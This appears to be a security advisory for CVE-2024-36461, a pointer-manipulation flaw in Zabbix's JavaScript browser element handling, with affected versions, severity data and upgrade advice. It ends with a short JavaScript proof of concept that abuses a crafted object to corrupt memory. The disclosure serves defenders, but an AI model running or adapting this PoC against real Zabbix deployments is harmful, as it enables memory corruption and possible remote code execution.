Uncontrolled Modification of Pointer Value Affecting zabbix/zabbix package, versions [,6.0.31rc1)[6.4.0,6.4.16rc1)[7.0.0alpha1,7.0.1rc1)


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (22nd percentile)

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  • Snyk IDSNYK-UNMANAGED-ZABBIXZABBIX-7660064
  • published9 Aug 2024
  • disclosed9 Aug 2024
  • creditPavel Voit

Introduced: 9 Aug 2024

CVE-2024-36461  (opens in a new tab)
CWE-822  (opens in a new tab)

How to fix?

Upgrade zabbix/zabbix to version 6.0.31rc1, 6.4.16rc1, 7.0.1rc1 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Modification of Pointer Value in the wd_element() function in browser_element.c. An attacker can manipulate memory pointers to corrupt memory contents via the JavaScript engine.

PoC

var browser = new Browser(Browser.chromeOptions());
var bypass = {};
bypass[atob('//9k')] = 'Memory location of this buffer will be used as zbx_wd_element_t';
bypass.navigate = browser.navigate;
bypass.navigate('remote code execution'); 

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